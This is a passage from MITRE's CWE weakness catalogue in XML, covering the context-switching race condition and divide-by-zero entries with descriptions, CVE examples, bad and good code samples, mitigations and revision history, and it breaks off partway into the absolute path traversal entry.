				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Observed_Examples, Other_Notes,
						References, Relationship_Notes, Relationships,
						Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Time-of-check Time-of-use
						Race Condition</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="368" Name="Context Switching Race Condition" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A product performs a series of non-atomic actions to switch
					between contexts that cross privilege or other security boundaries, but a race
					condition allows an attacker to modify or misrepresent the product's behavior
					during the switch.</Description_Summary>
				        <Extended_Description>
					          <Text>This is commonly seen in web browser vulnerabilities in which the attacker
						can perform certain actions while the browser is transitioning from a
						trusted to an untrusted domain, or vice versa, and the browser performs the
						actions on one domain using the trust level and resources of the other
						domain.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>364</Relationship_Target_ID>
					          <!--Signal Handler Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Can overlap signal handler race conditions.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
					          <Ordinality_Description>
						            <Text>This weakness can be primary to almost anything, depending on the
							context of the race condition.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
					          <Ordinality_Description>
						            <Text>This weakness can be resultant from insufficient compartmentalization
							(CWE-653), incorrect locking, improper initialization or shutdown, or a
							number of other weaknesses.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1837</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: race condition (CWE-362) from improper
						handling of a page transition in web client while an applet is loading
						(CWE-368) leads to use after free (CWE-416)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2260</Observed_Example_Reference>
					          <Observed_Example_Description>Browser updates address bar as soon as user clicks
						on a link instead of when the page has loaded, allowing spoofing by
						redirecting to another page using onUnload method. ** this is one example of
						the role of "hooks" and context switches, and should be captured somehow -
						also a race condition of sorts **</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0191</Observed_Example_Reference>
					          <Observed_Example_Description>XSS when web browser executes Javascript events in
						the context of a new page while it's being loaded, allowing interaction with
						previous page in different domain.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2491</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser fills in address bar of clicked-on
						link before page has been loaded, and doesn't update
						afterward.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied as a concept. Frequency unknown; few vulnerability reports
						give enough detail to know when a context switching race condition is a
						factor.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 13: Race Conditions." Page 205</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Context Switching Race Condition</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>29</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes, Relationship_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="369" Name="Divide By Zero" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product divides a value by zero.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness typically occurs when an unexpected value is provided to the
						product, or if an error occurs that is not properly detected. It frequently
						occurs in calculations involving physical dimensions such as size, length,
						width, and height.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>739</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 05 - Floating Point (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>848</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>873</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A Divide by Zero results in a crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java example contains a function to compute an average
						but does not validate that the input value used as the denominator is not
						zero. This will create an exception for attempting to divide by zero. If
						this error is not handled by Java exception handling, unexpected results can
						occur.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public int computeAverageResponseTime (int totalTime, int
								numRequests) {</Code>
							              <Block>
								                <Code>return totalTime / numRequests;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>By validating the input value used as the denominator the following
							code will ensure that a divide by zero error will not cause unexpected
							results. The following Java code example will validate the input value,
							output an error message, and throw an exception.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>public int computeAverageResponseTime (int totalTime, int
								numRequests) throws ArithmeticException {</Code>
							              <Block>
								                <Code>if (numRequests == 0) {</Code>
								                <Block>
									                  <Code>System.out.println("Division by zero attempted!");</Code>
									                  <Code>throw ArithmeticException;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return totalTime / numRequests;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following C/C++ example contains a function that divides two
						numeric values without verifying that the input value used as the
						denominator is not zero. This will create an error for attempting to divide
						by zero, if this error is not caught by the error handling capabilities of
						the language, unexpected results can occur.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>double divide(double x, double y){</Code>
							              <Block>
								                <Code>return x/y;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>By validating the input value used as the denominator the following
							code will ensure that a divide by zero error will not cause unexpected
							results. If the method is called and a zero is passed as the second
							argument a DivideByZero error will be thrown and should be caught by the
							calling block with an output message indicating the error.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>const int DivideByZero = 10;</Code>
							              <Code>double divide(double x, double y){</Code>
							              <Block>
								                <Code>if ( 0 == y ){</Code>
								                <Block>
									                  <Code>throw DivideByZero;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return x/y;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>try{</Code>
							              <Block>
								                <Code>divide(10, 0);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch( int i ){</Code>
							              <Block>
								                <Code>if(i==DivideByZero) {</Code>
								                <Block>
									                  <Code>cerr&lt;&lt;"Divide by zero error";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
					          <Demonstrative_Example_References>
						            <Reference>
							              <Reference_Link>http://www.cprogramming.com/tutorial/exceptions.html</Reference_Link>
						            </Reference>
					          </Demonstrative_Example_References>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following C# example contains a function that divides two
						numeric values without verifying that the input value used as the
						denominator is not zero. This will create an error for attempting to divide
						by zero, if this error is not caught by the error handling capabilities of
						the language, unexpected results can occur.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>int Division(int x, int y){</Code>
							              <Block>
								                <Code>return (x / y);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The method can be modified to raise, catch and handle the
							DivideByZeroException if the input value used as the denominator is
							zero.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>int SafeDivision(int x, int y){</Code>
							              <Block>
								                <Code>try{</Code>
								                <Block>
									                  <Code>return (x / y);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>catch (System.DivideByZeroException dbz){</Code>
								                <Block>
									                  <Code>System.Console.WriteLine("Division by zero
										attempted!");</Code>
									                  <Code>return 0;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
					          <Demonstrative_Example_References>
						            <Reference>
							              <Reference_Publisher>Microsoft Corporation</Reference_Publisher>
							              <Reference_Link>http://msdn.microsoft.com/en-us/library/ms173160(VS.80).aspx</Reference_Link>
						            </Reference>
					          </Demonstrative_Example_References>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3268</Observed_Example_Reference>
					          <Observed_Example_Description>Invalid size value leads to divide by
						zero.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2723</Observed_Example_Reference>
					          <Observed_Example_Description>"Empty" content triggers divide by
						zero.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2237</Observed_Example_Reference>
					          <Observed_Example_Description>Height value of 0 triggers divide by
						zero.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Detect and handle floating point errors</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that division and modulo operations do not result in
						divide-by-zero errors</Mapped_Node_Name>
					          <Mapped_Node_ID>INT33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure that division and modulo operations do not result in
						divide-by-zero errors</Mapped_Node_Name>
					          <Mapped_Node_ID>NUM02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that division and modulo operations do not result in
						divide-by-zero errors</Mapped_Node_Name>
					          <Mapped_Node_ID>INT33-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle floating point errors</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="37" Name="Path Traversal: '/absolute/pathname/here'" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A software system that accepts input in the form of a slash
					absolute path ('/absolute/pathname/here') without appropriate validation can
					allow an attacker to traverse the file system to unintended locations or access
					arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>36</Relationship_Target_ID>
					          <!--Absolute Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>160</Relationship_Target_ID>
					          <!--Improper Neutralization of Leading Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Attackers can insert paths into input
							vectors and traverse the file system. Use an appropriate combination of
							black lists and white lists to ensure only valid and expected input is
							processed by the system. </Text>
						            <Text>Warning: if you attempt to cleanse your data, then do so that the end
							result is not in the form that can be dangerous. A filtering mechanism
							can remove characters such as '.' and ';' which may be required for some
							exploits. An attacker can try to fool the mechanism into "transforming"
							data into a dangerous form. Suppose the attacker injects a '.' inside a
							filename (e.g. "sensi.tiveFile") and the mechanism removes the character
							resulting in the valid filename, "sensitiveFile". If the input data are
							now assumed to be safe, then the file may be compromised. See CWE-182
							(Collapse of Data Into Unsafe Value).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1345</Observed_Example_Reference>
